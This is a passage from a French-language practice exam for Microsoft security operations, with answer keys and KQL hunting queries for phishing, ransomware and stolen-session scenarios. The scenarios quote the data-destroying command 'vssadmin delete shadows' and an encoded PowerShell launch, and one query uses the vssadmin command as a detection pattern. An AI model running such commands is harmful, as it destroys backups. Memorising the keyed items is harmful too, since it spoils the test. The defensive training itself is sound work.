**B.** Supprimer la MFA, inefficace contre l'AiTM.

**C.** Activer les stratégies d'accès conditionnel basées sur le risque (connexion → MFA, utilisateur → changement de mot de passe sécurisé).

**D.** Désactiver Entra ID Protection.

**E.** Exiger une authentification résistante à l'hameçonnage (FIDO2/passkeys, Windows Hello) et des appareils conformes pour les rôles sensibles comme la comptabilité.

**Bonne réponse : C, E**

**Correction détaillée**

Les **stratégies de risque** automatisent la remédiation ; la **MFA résistante à l'hameçonnage** et l'exigence d'**appareils conformes** empêchent la réutilisation d'un cookie volé par un proxy AiTM.

**Analyse des réponses incorrectes**

- **A.** Augmente la fenêtre d'exploitation d'un jeton volé.
- **B.** La MFA reste indispensable ; il faut la renforcer, pas la supprimer.
- **D.** Supprimerait des détections clés.

**Explication technique**

Compléter par une règle Sentinel/détection personnalisée sur les connexions depuis des hébergeurs suivies d'une création de règle de boîte (corrélation testée dans ce scénario), et par la formation des utilisateurs.

**Point à retenir pour l'examen :** Après un AiTM : stratégies de risque + MFA résistante à l'hameçonnage + appareils conformes.

**Référence officielle**

- Qu'est-ce que l'accès conditionnel ? — https://learn.microsoft.com/fr-fr/entra/identity/conditional-access/overview

- Stratégies d'accès basées sur les risques — https://learn.microsoft.com/fr-fr/entra/id-protection/concept-identity-protection-policies

## 6.2 Scénario B — Hameçonnage suivi d'une exécution de processus

### Question n° 407 — Scénario B1 — Portée de la campagne

**Domaine :** Module 6 — Scénarios transversaux et préparation à l'examen **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé : Scénario B :** chez Contoso, MDE alerte sur `winword.exe → powershell.exe -enc ...` sur le poste PC-0423 de m.henry, 6 minutes après la réception d'un e-mail « Facture_Octobre.docm ». **Question :** quelle requête permet d'identifier les autres destinataires du même message ?

**A.**

REQUÊTE KQL

```
IdentityLogonEvents
| where Timestamp > ago(2d)
| where AccountUpn =~ "m.henry@contoso.com"
```

**B.**

REQUÊTE KQL

```
EmailEvents
| where Timestamp > ago(2d)
| where RecipientEmailAddress =~ "m.henry@contoso.com"
```

**C.**

REQUÊTE KQL

```
EmailAttachmentInfo
| where Timestamp > ago(2d)
| where FileName =~ "Facture_Octobre.docm"
| join kind=inner (EmailEvents | where Timestamp > ago(2d)) on NetworkMessageId,
RecipientEmailAddress
| project Timestamp, RecipientEmailAddress, SenderFromAddress, Subject, DeliveryAction,
LatestDeliveryLocation, SHA256
```

**D.**

REQUÊTE KQL

```
DeviceProcessEvents
| where Timestamp > ago(2d)
| where FileName =~ "powershell.exe"
```

**Bonne réponse : C**

**Correction détaillée**

Le nom (ou mieux, le **SHA256**) de la pièce jointe dans **EmailAttachmentInfo**, joint à **EmailEvents** (NetworkMessageId + RecipientEmailAddress), donne tous les **destinataires** et l'état de remise actuel (**LatestDeliveryLocation**).

**Analyse des réponses incorrectes**

- **A.** Authentifications de la victime, pas destinataires du message.
- **B.** Limité à la seule victime connue.
- **D.** Liste toutes les exécutions PowerShell du parc, sans lien avec les destinataires du message.

**Explication technique**

Étapes suivantes : purger les messages (Threat Explorer/Take action), vérifier l'ouverture sur les autres postes (DeviceFileEvents/DeviceProcessEvents avec le SHA256), bloquer l'expéditeur et le hachage.

**Résultat attendu**

Les destinataires du message piégé, l'expéditeur, l'état de remise et le hachage.

**Point à retenir pour l'examen :** Portée d'un hameçonnage = EmailAttachmentInfo/EmailUrlInfo ⋈ EmailEvents.

**Référence officielle**

- Recherche des menaces dans l'Explorateur des menaces et détections en temps réel dans Microsoft Defender pour Office 365 — https://learn.microsoft.com/fr-fr/defender-office-365/threat-explorer-threat-hunting
- EmailEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-emailevents-table

## Question n° 408 — Scénario B2 — Action immédiate sur le poste

**Domaine :** Module 6 — Scénarios transversaux et préparation à l'examen **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé : Scénario B (suite) :** PowerShell sur PC-0423 a établi une connexion HTTPS vers 198.51.100.23 et créé une tâche planifiée. **Question :** quelle action immédiate privilégier ?

**A.** Isoler PC-0423 via MDE (isolation complète), puis collecter le package d'investigation.

**B.** Supprimer la tâche planifiée et laisser le poste connecté.

**C.** Désinstaller Office sur le poste.

**D.** Éteindre le poste.

**Bonne réponse : A**

**Correction détaillée**

Une **communication sortante** et une **persistance** indiquent une compromission active : l'**isolation** coupe le canal de commande et contrôle tout en préservant la gestion MDE et les preuves.

**Analyse des réponses incorrectes**

- **B.** L'implant reste actif et en communication.
- **C.** Ne traite pas la compromission en cours.
- **D.** Perte de la mémoire volatile et de la capacité d'agir à distance.

**Explication technique**

L'isolation peut être déclenchée automatiquement par une règle de détection personnalisée (macro → PowerShell encodé → réseau). Vérifier si l'interruption automatique d'attaque a déjà agi.

**Point à retenir pour l'examen :** Implant actif (C2 + persistance) = isoler d'abord, collecter ensuite.

**Référence officielle**

- Prendre des mesures de réponse sur un appareil — https://learn.microsoft.com/fr-fr/defender-endpoint/respond-machine-alerts

## Question n° 409 — Scénario B3 — Décoder la charge

**Domaine :** Module 6 — Scénarios transversaux et préparation à l'examen **Niveau :** Avancé
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %)

**Énoncé : Scénario B (suite) :** la ligne de commande contient une longue chaîne Base64 après `-enc`. **Question :** quelle approche permet de lire la commande et d'en extraire d'autres IOC ?

**A.** Convertir la chaîne en majuscules.

**B.** Extraire la chaîne avec `extract()` puis la décoder avec `base64_decode_tostring()` (en tenant compte de l'encodage UTF-16LE), ou utiliser l'analyse de script de Copilot dans Defender.

**C.** Supprimer la ligne de commande des journaux.

**D.** Rechercher la chaîne Base64 sur Internet.

**Bonne réponse : B**

### Correction détaillée

La commande encodée se décode en KQL (`extract` + `base64_decode_tostring`) ou avec l'**analyse de script** de Copilot. Elle révèle souvent l'URL de téléchargement de la seconde charge, des domaines et des techniques (contournement d'AMSI, désactivation de la journalisation).

### Analyse des réponses incorrectes

- **A.** Sans effet sur le décodage.
- **C.** Destruction de preuves.
- **D.** Peut divulguer des informations sensibles et ne décode rien de façon fiable.

### Explication technique

Les nouveaux IOC (URL, domaine, IP) alimentent la chasse sur tout le parc et les indicateurs de blocage (MDE, liste d'autorisation/blocage du locataire).

> **Point à retenir pour l'examen :** Décoder la commande (`base64_decode_tostring` ou Copilot) pour obtenir de nouveaux IOC.

### Référence officielle

- base64_decode_tostring() — https://learn.microsoft.com/fr-fr/kusto/query/base64-decode-tostring-function?view=microsoft-sentinel
- DeviceProcessEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-deviceprocessevents-table

## Question n° 410 — Scénario B4 — Propagation éventuelle

**Domaine :** Module 6 — Scénarios transversaux et préparation à l'examen **Niveau :** Avancé

**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %)

**Énoncé : Scénario B (suite) :** vous voulez savoir si d'autres appareils ont contacté 198.51.100.23 ou exécuté le même script. **Question :** quelle requête est la plus utile ?

**A.**

REQUÊTE KQL

```
DeviceInfo
| where Timestamp > ago(7d)
| summarize count() by OSPlatform
```

**B.**

REQUÊTE KQL

```
EmailEvents
| where Timestamp > ago(7d)
| where SenderIPv4 == "198.51.100.23"
```

**C.**

REQUÊTE KQL

```
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where DeviceName == "PC-0423"
```

**D.**

REQUÊTE KQL

```
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteIP == "198.51.100.23"
| summarize Connexions = count(), Premiere = min(Timestamp), Processus =
make_set(InitiatingProcessFileName) by DeviceName
| order by Premiere asc
```

**Bonne réponse : D**

**Correction détaillée**

La recherche de l'**IP de commande et contrôle** dans **DeviceNetworkEvents** sur tout le parc identifie les appareils touchés, l'ordre d'apparition (patient zéro) et les processus responsables.

**Analyse des réponses incorrectes**

- **A.** Inventaire des systèmes, sans lien avec l'IP de C2.
- **B.** Cherche l'IP comme émetteur d'e-mails, pas comme destination des connexions des postes.
- **C.** Ne concerne que l'appareil déjà connu.

**Explication technique**

Compléter avec le hachage du script (DeviceProcessEvents/DeviceFileEvents) et les domaines associés (RemoteUrl). Les appareils trouvés doivent être isolés et analysés.

**Résultat attendu**

La liste des appareils ayant contacté l'IP avec la première connexion et les processus.

**Point à retenir pour l'examen :** Après un premier poste compromis, chercher l'IOC réseau sur tout le parc (DeviceNetworkEvents).

**Référence officielle**

- DeviceNetworkEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-devicenetworkevents-table

## Question n° 411 — Scénario B5 — Prévention future

**Domaine :** Module 6 — Scénarios transversaux et préparation à l'examen **Niveau :** Intermédiaire
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé : Scénario B (suite) :** pour éviter que ce scénario se reproduise, quelles mesures préventives sont les plus efficaces ? (Sélectionnez deux réponses.)

**Sélectionnez deux réponses.**

**A.** Autoriser les macros pour tous les documents afin de réduire les alertes.

**B.** Désactiver PowerShell pour tous les administrateurs.

**C.** Renforcer la protection de la messagerie : pièces jointes sécurisées, blocage des macros provenant d'Internet et stratégies prédéfinies Standard/Strict.

**D.** Activer en mode Bloquer la règle ASR « Bloquer toutes les applications Office pour créer des processus enfants » (après audit).

**E.** Supprimer les alertes MDE de type PowerShell.

**Bonne réponse : C, D**

**Correction détaillée**

La chaîne **document Office → interpréteur** est coupée par la **règle ASR** dédiée ; la **protection de la messagerie** réduit la remise des documents piégés. Les deux couches sont complémentaires (défense en profondeur).

**Analyse des réponses incorrectes**

- **A.** Augmente le risque.
- **B.** Gêne l'administration et ne cible pas le vecteur.
- **E.** Masque la détection.

**Explication technique**

Mesures additionnelles : blocage des macros VBA des fichiers marqués Internet (Mark of the Web), simulation d'attaques pour la sensibilisation, détection personnalisée avec isolation automatique.

**Point à retenir pour l'examen :** Office → PowerShell : règle ASR en Bloquer + protection de la messagerie.

**Référence officielle**

- Référence des règles de réduction de la surface d'attaque (ASR) — https://learn.microsoft.com/fr-fr/defender-endpoint/attack-surface-reduction-rules-reference
- Pièces jointes sécurisées dans Defender pour Office 365 — https://learn.microsoft.com/fr-fr/defender-office-365/safe-attachments-about

## 6.3 Scénario C — Activité de type rançongiciel sur plusieurs terminaux

### Question n° 412 — Scénario C1 — Signaux simultanés

**Domaine :** Module 6 — Scénarios transversaux et préparation à l'examen **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé : Scénario C :** à 23 h 10, MDE signale sur 12 serveurs : arrêt de services de sauvegarde, `vssadmin delete shadows`, puis renommages massifs vers `.lockx`. Les alertes portent l'étiquette « Attack Disruption ». **Question :** quelle est la priorité de l'analyste d'astreinte ?

**A.** Vérifier les actions de confinement déjà appliquées (appareils et comptes contenus), étendre le confinement aux systèmes non couverts, et déclencher la procédure d'escalade de crise rançongiciel.

**B.** Lancer immédiatement la restauration des serveurs.

**C.** Attendre le matin pour avoir toute l'équipe.

**D.** Fermer les alertes, l'interruption automatique ayant tout réglé.

**Bonne réponse : A**

**Correction détaillée**

Face à un **rançongiciel actif**, la priorité est de **stopper la propagation** : vérifier et compléter les confinements (appareils non gérés, comptes utilisés), escalader (cellule de crise), protéger les sauvegardes. L'étiquette « Attack Disruption » indique des actions automatiques à vérifier dans le Centre de notifications.

**Analyse des réponses incorrectes**

- **B.** La propagation n'est pas encore stoppée et les sauvegardes pourraient être chiffrées.
- **C.** Un rançongiciel actif impose une réponse immédiate.
- **D.** L'interruption contient mais n'éradique pas.

**Explication technique**

Identifier le compte utilisé pour le déploiement (souvent un administrateur de domaine) et le mécanisme (GPO, PsExec, tâches) pour les neutraliser rapidement.

**Point à retenir pour l'examen :** Rançongiciel actif : vérifier/étendre le confinement et escalader immédiatement.

**Référence officielle**

- Qu'est-ce qu'un ransomware ? — https://learn.microsoft.com/fr-fr/security/ransomware/human-operated-ransomware

### Question n° 413 — Scénario C2 — Compte de déploiement

**Domaine :** Module 6 — Scénarios transversaux et préparation à l'examen **Niveau :** Avancé
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %)

**Énoncé : Scénario C (suite) :** vous devez identifier le compte et le mécanisme utilisés pour lancer le chiffreur sur les 12 serveurs. **Question :** quelle requête est la plus pertinente ?

**A.**

REQUÊTE KQL

```
EmailEvents
| where Timestamp > ago(1d)
| where ThreatTypes has "Malware"
```

**B.**

REQUÊTE KQL

```
DeviceProcessEvents
| where Timestamp > ago(1d)
| summarize count() by FileName
| top 10 by count_
```

**C.**

REQUÊTE KQL

```
DeviceProcessEvents
| where Timestamp > ago(1d)
| where ProcessCommandLine has_all ("vssadmin", "delete", "shadows")
| summarize Serveurs = dcount(DeviceId), Premier = min(Timestamp) by AccountName, AccountDomain,
InitiatingProcessFileName, InitiatingProcessParentFileName
| order by Premier asc
```

**D.**

REQUÊTE KQL

```
DeviceInfo
| where Timestamp > ago(1d)
| where DeviceName startswith "SRV"
```

**Bonne réponse : C**

### Correction détaillée

Les commandes de suppression des clichés, exécutées sur chaque serveur, portent le **compte** utilisé et le **processus parent** (par exemple PSEXESVC.exe, wmiprvse.exe, svchost.exe pour une tâche planifiée, gpscript.exe pour une GPO), ce qui révèle le **mécanisme de déploiement**.

### Analyse des réponses incorrectes

- **A.** Messages malveillants, sans lien direct avec le déploiement sur les serveurs.
- **B.** Les processus les plus fréquents du parc, sans lien avec l'attaque.
- **D.** Inventaire des serveurs, sans le compte ni le mécanisme.

### Explication technique

Désactiver immédiatement ce compte (et contenir l'utilisateur), neutraliser le mécanisme (GPO, tâches), puis rechercher son origine (vol d'identifiants, DCSync).

### Résultat attendu

Le ou les comptes et processus parents ayant exécuté la commande, avec le nombre de serveurs et la première occurrence.

**Point à retenir pour l'examen :** Commande précurseur → compte + processus parent = mécanisme de déploiement à neutraliser.

### Référence officielle

- DeviceProcessEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-deviceprocessevents-table

## Question n° 414 — Scénario C3 — Serveurs non gérés

**Domaine :** Module 6 — Scénarios transversaux et préparation à l'examen **Niveau :** Intermédiaire

**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé : Scénario C (suite) :** la découverte des appareils montre deux anciens serveurs non intégrés à MDE qui communiquent avec les serveurs chiffrés. **Question :** quelle action est disponible immédiatement ?

A. Lancer une analyse antivirus à distance.

B. Contenir ces appareils (Contain device) afin que les appareils intégrés bloquent toute communication avec eux, en attendant une intervention physique ou réseau.

C. Les isoler avec l'action d'isolation MDE.

D. Les ignorer car ils ne sont pas gérés.

**Bonne réponse : B**

**Correction détaillée**

**Contain device** s'applique aux appareils **non intégrés** : les appareils gérés bloquent les communications avec eux, ce qui limite leur rôle dans la propagation.

**Analyse des réponses incorrectes**

- **A.** Impossible sans agent.
- **C.** L'isolation nécessite que l'appareil soit intégré.
- **D.** Ils peuvent être des relais de propagation.

**Explication technique**

Compléter par une coupure réseau (VLAN, ACL) et prévoir leur intégration ou leur remplacement. La découverte des appareils aide à réduire ces angles morts avant un incident.

**Point à retenir pour l'examen :** Appareil non géré impliqué dans une attaque = Contain device + mesure réseau.

**Référence officielle**

- Prendre des mesures de réponse sur un appareil — https://learn.microsoft.com/fr-fr/defender-endpoint/respond-machine-alerts
- Vue d'ensemble de la découverte d'appareils Microsoft Defender pour point de terminaison — https://learn.microsoft.com/fr-fr/defender-endpoint/device-discovery

## Question n° 415 — Scénario C4 — Communication de crise

**Domaine :** Module 6 — Scénarios transversaux et préparation à l'examen **Niveau :** Débutant

**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé : Scénario C (suite) :** la messagerie et Teams fonctionnent encore, mais le contrôleur de domaine est compromis. **Question :** comment organiser la communication de la cellule de crise ?

A. Utiliser le canal hors bande prévu (téléphonie, outil de collaboration indépendant, comptes de secours) pour éviter que l'attaquant, qui contrôle l'annuaire, n'observe les échanges.

B. Créer une équipe Teams « Crise rançongiciel » dans le locataire de production.

C. Envoyer un e-mail à tous les employés détaillant les mesures techniques.

D. Suspendre toute communication jusqu'à la fin de l'incident.

**Bonne réponse : A**

**Correction détaillée**

Un **domaine compromis** peut donner à l'attaquant l'accès aux comptes et outils de communication liés à l'annuaire. Le plan de réponse doit prévoir un **canal hors bande** et des comptes de secours.

**Analyse des réponses incorrectes**

- **B.** L'attaquant pourrait y accéder via l'annuaire compromis.
- **C.** Divulgation des mesures à l'attaquant et diffusion excessive.
- **D.** La coordination est indispensable.

**Explication technique**

Communiquer aux employés des consignes simples (ne pas éteindre les postes, signaler les anomalies) via un canal sûr, et réserver les détails techniques à la cellule de crise.

**Point à retenir pour l'examen :** Annuaire compromis = communication de crise hors bande.

**Référence officielle**

- Planification de la réponse aux incidents — https://learn.microsoft.com/fr-fr/security/operations/incident-response-planning

## Question n° 416 — Scénario C5 — Retour à la normale

**Domaine :** Module 6 — Scénarios transversaux et préparation à l'examen **Niveau :** Avancé

**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé : Scénario C (suite) :** l'enquête montre un DCSync réalisé trois semaines avant le chiffrement. **Question :** quelles actions sont indispensables avant de remettre l'environnement en production ? (Sélectionnez deux réponses.)

**Sélectionnez deux réponses.**

**A.** Restaurer la sauvegarde de la veille du chiffrement sans contrôle.

**B.** Payer la rançon pour obtenir l'outil de déchiffrement et reprendre l'activité.

**C.** Restaurer à partir de sauvegardes vérifiées antérieures à l'intrusion (ou reconstruire) et supprimer toutes les persistances identifiées.

**D.** Désactiver Defender for Identity pour accélérer la remise en service.

**E.** Réinitialiser deux fois le mot de passe du compte krbtgt et tous les comptes à privilèges et de service potentiellement exposés.

**Bonne réponse : C, E**

**Correction détaillée**

Un **DCSync** signifie que l'attaquant possède potentiellement les **hachages de tous les comptes**, y compris **krbtgt** (Golden Ticket). La remise en production exige la **réinitialisation des secrets** (double réinitialisation de krbtgt, comptes à privilèges et de service) et une **restauration propre** sans persistance.

**Analyse des réponses incorrectes**

- **A.** Elle contient très probablement la persistance de l'attaquant (intrusion trois semaines avant).
- **B.** Ne traite ni l'accès de l'attaquant ni la persistance ; décision qui ne relève pas du SOC.
- **D.** Supprimerait la surveillance de l'annuaire au moment le plus sensible.

**Explication technique**

Surveillance renforcée après la reprise : détections ciblées sur les TTP observés, alertes MDI, chasse régulière. Le retour d'expérience doit traiter le délai de trois semaines entre l'intrusion et le chiffrement (détection tardive).

**Point à retenir pour l'examen :** Après DCSync : double reset krbtgt + comptes sensibles, restauration propre ; sinon l'attaquant revient.

**Référence officielle**

- Qu'est-ce qu'un ransomware ? — https://learn.microsoft.com/fr-fr/security/ransomware/human-operated-ransomware
- Alertes de sécurité dans Microsoft Defender pour Identity — https://learn.microsoft.com/fr-fr/defender-for-identity/alerts-overview

## 6.4 Scénario D — Connexion depuis une localisation inhabituelle

### Question n° 417 — Scénario D1 — Qualifier l'alerte

**Domaine :** Module 6 — Scénarios transversaux et préparation à l'examen **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé : Scénario D :** une alerte « Atypical travel » signale p.durand connecté depuis Lyon puis, 50 minutes plus tard, depuis Montréal. **Question :** quelle première vérification permet souvent de qualifier rapidement l'alerte ?

**A.** Réinitialiser tous les mots de passe de l'entreprise.

**B.** Ignorer l'alerte car les deux villes sont francophones.

**C.** Désactiver immédiatement le compte sans autre vérification.

**D.** Vérifier si l'une des IP appartient à un VPN, un proxy cloud ou un service d'accès sécurisé utilisé par l'entreprise, et comparer appareils et agents utilisateur des deux connexions.

**Bonne réponse : D**

#### Correction détaillée

Les détections de **voyage atypique/impossible** sont sensibles aux **VPN** et **proxys**. La comparaison des **IP** (ASN, fournisseur), des **appareils** (ID, conformité), des **agents utilisateur** et des **applications** distingue un faux positif d'une session volée.

#### Analyse des réponses incorrectes

- **A.** Disproportionné.
- **B.** Argument sans valeur technique.
- **C.** Mesure possible en cas de doute fort, mais une vérification rapide évite de bloquer un utilisateur légitime.

#### Explication technique

Sources : SigninLogs (DeviceDetail, UserAgent, NetworkLocationDetails, AutonomousSystemNumber), Entra ID Protection, MDCA. Déclarer les plages IP de confiance (emplacements nommés) réduit ces alertes.

**Point à retenir pour l'examen :** Voyage atypique : vérifier VPN/proxy, appareil et agent utilisateur avant de conclure.

#### Référence officielle

- Que sont les détections de risques ? — https://learn.microsoft.com/fr-fr/entra/id-protection/concept-identity-protection-risks
- Créer des stratégies de détection d'anomalies Defender for Cloud Apps — https://learn.microsoft.com/fr-fr/defender-cloud-apps/anomaly-detection-policy

### Question n° 418 — Scénario D2 — Requête de contexte

**Domaine :** Module 6 — Scénarios transversaux et préparation à l'examen **Niveau :** Intermédiaire
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %)

**Énoncé : Scénario D (suite) :** vous voulez comparer en détail les connexions de p.durand sur 24 heures. **Question :** quelle requête Sentinel est la plus utile ?

**A.**

REQUÊTE KQL

```
SecurityEvent
| where TimeGenerated > ago(1d)
| where Account has "p.durand"
```

**B.**

REQUÊTE KQL

```
AuditLogs
| where TimeGenerated > ago(1d)
| where OperationName == "Update user"
```

**C.**

REQUÊTE KQL

```
SigninLogs
| where TimeGenerated > ago(1d)
| where UserPrincipalName =~ "p.durand@contoso.com"
| extend Ville = tostring(LocationDetails.city), Appareil = tostring(DeviceDetail.displayName),
Conforme = tostring(DeviceDetail.isCompliant)
| project TimeGenerated, IPAddress, Ville, AppDisplayName, Appareil, Conforme, UserAgent,
ResultType, RiskLevelDuringSignIn
| order by TimeGenerated asc
```

**D.**

REQUÊTE KQL

```
SigninLogs
| where TimeGenerated > ago(1d)
| summarize count() by Location
```

**Bonne réponse : C**

**Correction détaillée**

La chronologie détaillée des connexions (IP, ville, application, appareil, conformité, agent utilisateur, risque) permet de vérifier si les deux connexions proviennent du même appareil géré (VPN probable) ou d'un appareil inconnu (compromission probable).

**Analyse des réponses incorrectes**

- **A.** Événements Windows locaux, pas connexions cloud.
- **B.** Modifications d'utilisateurs, pas connexions.
- **D.** Statistiques globales par pays, sans détail sur l'utilisateur.

**Explication technique**

Ajouter AADNonInteractiveUserSignInLogs pour les renouvellements de jetons. Un appareil conforme identique pour les deux villes oriente vers un VPN ; un appareil absent et un agent utilisateur différent orientent vers une session volée.

**Résultat attendu**

La chronologie détaillée des connexions de l'utilisateur sur 24 heures.

**Point à retenir pour l'examen :** Qualifier une localisation inhabituelle = comparer IP, appareil, conformité, agent utilisateur, application.

**Référence officielle**

- SigninLogs — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/signinlogs

## Question n° 419 — Scénario D3 — Session volée confirmée

**Domaine :** Module 6 — Scénarios transversaux et préparation à l'examen **Niveau :** Intermédiaire

**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé : Scénario D (suite) :** la connexion de Montréal provient d'un appareil inconnu, sans conformité, avec un agent utilisateur de script, et a accédé à OneDrive. **Question :** quelle est la meilleure réponse ?

**A.** Bloquer OneDrive pour toute l'entreprise.

**B.** Confirmer la compromission (marquer l'utilisateur compromis), révoquer les sessions, réinitialiser les identifiants et examiner les accès OneDrive depuis cette IP.

C. Fermer l'alerte comme faux positif lié au VPN.

D. Isoler le poste de p.durand à Lyon.

**Bonne réponse : B**

**Correction détaillée**

Les indices (appareil inconnu, non conforme, agent de script) confirment une **session illégitime**. La réponse cible l'**identité** (marquage, révocation, identifiants) et l'**impact** (accès OneDrive).

**Analyse des réponses incorrectes**

- **A.** Disproportionné.
- **C.** Les indices pointent vers une session illégitime.
- **D.** L'attaquant n'utilise pas ce poste.

**Explication technique**

Une stratégie d'accès conditionnel exigeant un appareil conforme pour accéder aux données aurait limité l'impact. Vérifier aussi l'origine du vol (hameçonnage, malware voleur d'informations sur un appareil personnel).

**Point à retenir pour l'examen :** Session illégitime confirmée : marquer compromis, révoquer, réinitialiser, mesurer l'impact.

**Référence officielle**

- Révoquer les accès utilisateur dans Microsoft Entra ID — https://learn.microsoft.com/fr-fr/entra/identity/users/users-revoke-access

## Question n° 420 — Scénario D4 — Détection future

**Domaine :** Module 6 — Scénarios transversaux et préparation à l'examen **Niveau :** Avancé
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé : Scénario D (suite) :** le SOC veut une règle Sentinel détectant les connexions réussies depuis un appareil non conforme et un pays jamais vu pour l'utilisateur. **Question :** quel paramétrage de la règle est le plus approprié ?

A. Une règle d'anomalie en mode Production sans test.

B. Une règle Fusion personnalisée.

C. Une règle NRT sans référence historique.

D. Une règle planifiée (par exemple toutes les heures, avec une référence de 14 jours dans la requête), avec mappage des entités Account et IP et regroupement des alertes par utilisateur.

**Bonne réponse : D**

**Correction détaillée**

Une **règle planifiée** permet une logique de **référence** (pays connus sur 14 jours, via une fenêtre de recherche adaptée) et le filtrage sur `DeviceDetail.isCompliant`. Le **mappage d'entités** permet la corrélation et l'automatisation.

**Analyse des réponses incorrectes**

- **A.** Les anomalies ne créent pas d'alertes et ne se paramètrent pas par requête.
- **B.** La logique de Fusion n'est pas modifiable.
- **C.** Les règles NRT ne conviennent pas aux comparaisons avec un historique de 14 jours.

**Explication technique**

La fenêtre de recherche d'une règle planifiée peut aller jusqu'à 14 jours : la référence doit tenir dans cette limite (ou s'appuyer sur une table de synthèse/watchlist mise à jour périodiquement). L'UEBA fournit aussi des indicateurs « première connexion depuis ce pays ».

**Point à retenir pour l'examen :** Logique de référence historique = règle planifiée (lookback ≤ 14 jours) avec entités mappées.

**Référence officielle**

- Créer une règle d'analyse planifiée à partir de zéro — https://learn.microsoft.com/fr-fr/azure/sentinel/create-analytics-rules
- SigninLogs — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/signinlogs

### Question n° 421 — Scénario D5 — Faux positif récurrent de voyage

**Domaine :** Module 6 — Scénarios transversaux et préparation à l'examen **Niveau :** Intermédiaire
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé : Scénario D (suite) :** l'équipe commerciale utilise un VPN d'entreprise sortant par plusieurs pays, ce qui génère chaque semaine des alertes de voyage atypique. **Question :** quelle correction est la plus adaptée ?

**A.** Fermer automatiquement toutes les alertes de voyage.

**B.** Exclure les commerciaux de toute stratégie d'accès conditionnel.

**C.** Déclarer les plages IP de sortie du VPN comme emplacements nommés de confiance (Entra ID) et comme plages d'entreprise dans Defender for Cloud Apps.

**D.** Désactiver Entra ID Protection pour l'équipe commerciale.

**Bonne réponse : C**

**Correction détaillée**

Les **emplacements nommés de confiance** et les **plages IP d'entreprise** sont pris en compte par les détections de risque et les anomalies MDCA, ce qui réduit les faux positifs liés aux VPN sans désactiver la détection.

**Analyse des réponses incorrectes**

- **A.** Les vraies compromissions seraient aussi fermées.
- **B.** Affaiblit fortement leur sécurité.
- **D.** Supprimerait toute détection de risque pour ces utilisateurs exposés.

**Explication technique**

Revoir la liste périodiquement (nouveaux points de sortie, changement de fournisseur). Documenter la décision dans le registre des exceptions.

**Point à retenir pour l'examen :** Faux positifs VPN = déclarer les IP de sortie comme emplacements de confiance (Entra) / plages d'entreprise (MDCA).

**Référence officielle**

- Qu'est-ce que l'accès conditionnel ? — https://learn.microsoft.com/fr-fr/entra/identity/conditional-access/overview
- Créer des stratégies de détection d'anomalies Defender for Cloud Apps — https://learn.microsoft.com/fr-fr/defender-cloud-apps/anomaly-detection-policy

## 6.5 Scénario E — Règle analytique Sentinel générant trop de faux positifs

### Question n° 422 — Scénario E1 — Diagnostic

**Domaine :** Module 6 — Scénarios transversaux et préparation à l'examen **Niveau :** Intermédiaire
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé : Scénario E :** la règle « Exécution de PowerShell encodé » génère 300 incidents par semaine, dont 95 % classés faux positifs. **Question :** quelle première étape d'analyse est la plus utile ?

**A.** Supprimer la règle.

**B.** Analyser les incidents classés faux positifs pour identifier les sources communes (comptes, processus parents, appareils, outils légitimes) à l'aide des données de la règle et de SecurityIncident/SecurityAlert.

**C.** Réduire la fréquence d'exécution à 14 jours.

**D.** Augmenter la gravité de la règle.

**Bonne réponse : B**

**Correction détaillée**

Avant de modifier une règle, on **mesure** : quelles entités et quels contextes produisent les faux positifs (outil de déploiement, agent de supervision, script d'administration signé). Les classifications des incidents fournissent la base de cette analyse.

**Analyse des réponses incorrectes**

- **A.** On perdrait la détection d'une technique fréquemment utilisée par les attaquants.
- **C.** Retarde la détection sans réduire les faux positifs.
- **D.** Ne réduit pas le bruit.

**Explication technique**

Requête utile : joindre SecurityIncident (Classification == "FalsePositive" ou "BenignPositive") à SecurityAlert (Entities, ExtendedProperties) pour compter les entités récurrentes. Les optimisations SOC peuvent aussi signaler les règles bruyantes.

**Point à retenir pour l'examen :** Règle bruyante : d'abord analyser les faux positifs (entités récurrentes), ensuite ajuster.

**Référence officielle**

- Règles d'analyse planifiées dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/scheduled-rules-overview
- Incident de sécurité — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/securityincident

## Question n° 423 — Scénario E2 — Ajuster la logique

**Domaine :** Module 6 — Scénarios transversaux et préparation à l'examen **Niveau :** Avancé

**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %)

**Énoncé : Scénario E (suite) :** 90 % des faux positifs proviennent de l'agent de déploiement « DeployAgent.exe » (processus parent) sur des serveurs listés dans la watchlist « ServeursDeploiement ». **Question :** quelle modification de requête est la plus appropriée ?

**A.**

REQUÊTE KQL

```
let Serveurs = _GetWatchlist("ServeursDeploiement") | project DeviceName = tolower(SearchKey);
DeviceProcessEvents
| where TimeGenerated > ago(1h)
